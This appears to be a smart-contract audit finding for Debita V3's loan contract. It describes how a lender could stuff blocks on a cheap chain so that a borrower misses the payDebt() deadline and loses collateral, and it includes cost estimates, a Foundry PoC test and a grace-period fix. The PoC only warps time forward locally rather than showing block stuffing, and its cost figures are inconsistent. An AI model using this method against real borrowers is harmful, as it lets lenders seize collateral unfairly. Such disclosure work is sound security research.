Sneaky Grape Goat

High

# Malicious lenders can block stuff borrowers to miss loan payment deadline

### Summary

The `DebitaV3Loan` contract is vulnerable to a [block-stuffing attack](https://medium.com/hackernoon/the-anatomy-of-a-block-stuffing-attack-a488698732ae) which enables miners or other malicious actors to manipulate block timestamps, causing legitimate borrowers to miss their deadline.

### Root Cause

In the contract, when borrowers calls `payDebt()`, it checks current time did not pass the deadline in line [194](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L194-L197). This creates a vunerability where miners can manipulate block timestamps within a range and an attacker can use block stuffing to push the timestamp beyond the deadline.

The ability to influence timestamps breaks critical security guarantees in the `DebitaV3Loan` contract. This attack does not exploit any inherent flaws in the contract's logic but instead leverages the flexibility in Ethereum's block timestamp to cause unexpected behavior. In the attack, the `block.timestamp` in the `payDebt()` function is manipulated, resulting in a revert for the borrower's transaction due to missed deadline constraints.

Transactions on some L2s like OP or Fantom are very cheap (much cheaper than Ethereum), which opens up a rare attack vector: block stuffing. A malicious user stuffs several blocks with dummy transactions that consume the entire blocks gas limit. (https://www.cryptoneur.xyz/en/gas-fees-calculator)

Let’s make some quick calculations on fantom chain: duration == 5 minutes, 5 minutes = 300 seconds. Fantom creates a block every 1 seconds, so in 5 minutes, there will be 300 blocks created on Fantom. 1 block = 30m gas, so 300 blocks will have 9 billion gas, which is ~32$. The attack can get cheaper or more expensive, depending on the period or the the remaining time of the period, as it can be executed at any time during the allowance period.

### Internal pre-conditions

_No response_

### External pre-conditions

There are two possible situations here:
1. If borrower borrows for a small duration and collateral to principle ratio is more than 1.
2. If borrower tries to pay debt at the last moments of the loan deadline

### Attack Path

#### Example Scenario with Calculations:

We are assuming borrower wants 1000 AERO as principle and will use 1500 AERO as collateral (This is just assumption for ease of understanding, principle and collateral can be anything on any low gas cost chain)

borrow info:
```solidity
duration: 3600 (1 hour)
collateralAmount: 1500,
principleAmont: 1000
```
lend Info:
```solidity
acceptedPrinciple: AERO,
principleAmount: 1000
```
#### Attack Simulation:
1. A malicious lender matches the order
loan info:
```solidity
startedAt: 1700000000 (Unix timestamp)
initialDuration: 3600
```
2. Initial Attempt by Borrower:
```solidity
// Borrower initiates transaction close to period end to pay back the debt.
// Borrower attempts to pay at timestamp: 1700003580
// 20 seconds before period end
currentTimestamp = 1700003580;  // 20 seconds before period end
currentDurationProgress = (1700003580 - 1700000000) % 3600;  // = 3580 seconds
startedAt = 1700003580 - 3580;  // = 1700000000
deadline = 1700003600;
```
3. Block Stuffing by Attacker
    * Attack Cost: 100 blocks × 0.1 USD = 10 USD // stuffing 1 block in fantom cost ~0.1 USD
    * The attacker forces the timestamp to skip forward beyond the period end by stuffing the block with transactions, moving the timestamp to 1700003605.
4. Outcome
```solidity
// Timestamp after block stuffing
currentTimestamp = 1700003605; // Notice we jumped past deadline
// Contract behavior in payDebt()
require(
            nextDeadline() >= block.timestamp,
            "Deadline passed to pay Debt"
        );
```
Result:
* Borrower's transaction reverts and cannot pay the debt now
* Malicious lender can claim the collateral of 1500 AERO
* Cost to attacker: 1000 AERO + 10 USD
* Profit to attacker: 500 AERO - 10 USD

### Impact

1. Borrower lose all his collaterals even though he has funds to repay the loan.

### PoC

1. Create a new file in test folder -`PoC.t.test`
2.  Paste the following codes in that file-
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";

import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "./interfaces/getDynamicData.sol";
// import ERC20
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";

contract DebitaAggregatorTest is Test, DynamicData {
    DBOFactory public DBOFactoryContract;
    DLOFactory public DLOFactoryContract;
    Ownerships public ownershipsContract;
    DebitaIncentives public incentivesContract;
    DebitaV3Aggregator public DebitaV3AggregatorContract;
    auctionFactoryDebita public auctionFactoryDebitaContract;
    DynamicData public allDynamicData;

    DLOImplementation public LendOrder;
    DBOImplementation public BorrowOrder;
    ERC20Mock public AEROContract;
    address AERO;

    address lender = makeAddr("lender");
    address borrower = makeAddr("borrower");

    function setUp() public {
        allDynamicData = new DynamicData();
        ownershipsContract = new Ownerships();
        incentivesContract = new DebitaIncentives();
        DBOImplementation borrowOrderImplementation = new DBOImplementation();
        DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
        DLOImplementation proxyImplementation = new DLOImplementation();
        DLOFactoryContract = new DLOFactory(address(proxyImplementation));
        auctionFactoryDebitaContract = new auctionFactoryDebita();
        AEROContract = new ERC20Mock();
        deal(address(AEROContract), address(this), 1000e18, true);
        AERO = address(AEROContract);
        DebitaV3Loan loanInstance = new DebitaV3Loan();
        DebitaV3AggregatorContract = new DebitaV3Aggregator(
            address(DLOFactoryContract),
            address(DBOFactoryContract),
            address(incentivesContract),
            address(ownershipsContract),
            address(auctionFactoryDebitaContract),
            address(loanInstance)
        );

        ownershipsContract.setDebitaContract(
            address(DebitaV3AggregatorContract)
        );
        auctionFactoryDebitaContract.setAggregator(
            address(DebitaV3AggregatorContract)
        );
        DLOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );
        DBOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        incentivesContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        ratio[0] = 5e17;
        oraclesPrinciples[0] = address(0x0);
        acceptedPrinciples[0] = AERO;
        oraclesActivated[0] = false;
        ltvs[0] = 0;

        deal(AERO, borrower, 100e18, false);
        deal(AERO, lender, 100e18, false);

        // Borrower creating a borrow order where he is willing to pay double collateral for an amount AERO for some time
        vm.startPrank(borrower);
        IERC20(AERO).approve(address(DBOFactoryContract), 10e18);
        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
            oraclesActivated,
            ltvs,
            1000,
            1 hours,
            acceptedPrinciples,
            AERO,
            false,
            0,
            oraclesPrinciples,
            ratio,
            address(0x0),
            10e18
        );
        vm.stopPrank();

        ratio[0] = 1e18;

        // malicious lender creating a lend order to attack the borrower
        vm.startPrank(lender);
        IERC20(AERO).approve(address(DLOFactoryContract), 5e18);
        address lendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            1000,
            8640000,
            30 minutes,
            acceptedPrinciples,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        vm.stopPrank();

        LendOrder = DLOImplementation(lendOrderAddress);
        BorrowOrder = DBOImplementation(borrowOrderAddress);
    }

    function testMatchOffersAndCheckParamsBlockStuff() public {
        address[] memory lendOrders = allDynamicData.getDynamicAddressArray(1);
        uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(
            1
        );
        uint[] memory porcentageOfRatioPerLendOrder = allDynamicData
            .getDynamicUintArray(1);
        address[] memory principles = allDynamicData.getDynamicAddressArray(1);
        uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexForCollateral_LendOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexPrinciple_LendOrder = allDynamicData
            .getDynamicUintArray(1);
        indexForPrinciple_BorrowOrder[0] = 0;
        indexForCollateral_LendOrder[0] = 0;
        indexPrinciple_LendOrder[0] = 0;

        lendOrders[0] = address(LendOrder);
        lendAmountPerOrder[0] = 5e18;
        porcentageOfRatioPerLendOrder[0] = 5000;
        principles[0] = AERO;

        uint256 balanceOfBorrowerBefore = IERC20(AERO).balanceOf(borrower);
        uint256 balanceOfLenderbefore = IERC20(AERO).balanceOf(lender);
        uint256 balanceOfLendContractBefore = IERC20(AERO).balanceOf(address(LendOrder));

        // Lender is accepting the offer
        address loan = DebitaV3AggregatorContract.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            address(BorrowOrder),
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        uint256 balanceOfBorrowerAfter = IERC20(AERO).balanceOf(borrower);
        uint256 balanceOfLenderAfter = IERC20(AERO).balanceOf(lender);
        uint256 balanceOfLoan = IERC20(AERO).balanceOf(loan);

        uint256 balanceOfLendContractAfter = IERC20(AERO).balanceOf(address(LendOrder));

        console.log("Balance of borrower before", balanceOfBorrowerBefore);
        console.log("Balance of lender before", balanceOfLenderbefore);
        console.log("Balance of loan", balanceOfLoan);
        console.log("Balance of borrower after", balanceOfBorrowerAfter);
        console.log("Balance of lender after", balanceOfLenderAfter);
        console.log("Balance of lend contract Before", balanceOfLendContractBefore);
        console.log("Balance of lend contract After", balanceOfLendContractAfter);

        DebitaV3Loan loanContract = DebitaV3Loan(loan);
        assertEq(
            loanContract.getLoanData()._acceptedOffers[0].principleAmount,
            5e18
        );
        assertEq(loanContract.getLoanData()._acceptedOffers[0].apr, 1000);

        assertEq(
            loanContract.getLoanData()._acceptedOffers[0].maxDeadline,
            8640000 + loanContract.getLoanData().startedAt
        );
        assertEq(loanContract.getLoanData().initialDuration, 1 hours);

        // When the borrower tries to pay the loan, the lender employs the block stuff attack
        // Thus he can skip the time until the deadline
        // After that he will call the claimCollateralAsLender() immediately to claim all the collateral
        // If the borrower borrows some amount of principle against a lot of collateral for short time or tries to payDebt in last moments of deadline, 
        // the lender can employ block stuff attack and take all the collateral
        vm.warp(block.timestamp + 864000 + 1);
        uint256 balanceOfLenderBeforeCollateralClaim = IERC20(AERO).balanceOf(lender);
        uint256 collateralAmount = loanContract.getLoanData().collateralAmount;
        vm.prank(lender);
        loanContract.claimCollateralAsLender(0);
        uint256 balanceOfLenderAfterCollateralClaim = IERC20(AERO).balanceOf(lender);
        console.log("Balance of lender before collateral claim", balanceOfLenderBeforeCollateralClaim);
        console.log("Balance of lender after collateral claim", balanceOfLenderAfterCollateralClaim);

        assertEq(balanceOfLenderAfterCollateralClaim - balanceOfLenderBeforeCollateralClaim, collateralAmount);
    }
}
```
3. Run `forge test --mt testMatchOffersAndCheckParamsBlockStuff -vv`

### Mitigation

One way to mitigate this is to add a tolerance period to reduce the impact of minor timestamp manipulation. But this implementation only protects against small timestamp manipulations.
```solidity
function payDebt(uint[] memory indexes) public nonReentrant {
        IOwnerships ownershipContract = IOwnerships(s_OwnershipContract);

        require(
            ownershipContract.ownerOf(loanData.borrowerID) == msg.sender,
            "Not borrower"
        );
       // Extend the deadline by 5 minutes with a tolerance buffer to prevent block stuffing attacks
        uint deadline = nextDeadline()  + 5 * 60;
        // check next deadline
        require(
            deadline >= block.timestamp,
            "Deadline passed to pay Debt"
        );
// Rest of the code
```

Clearly tell borrowers that if they do not pay debt within the deadline they fixed, they might get attacked and lose all collateral.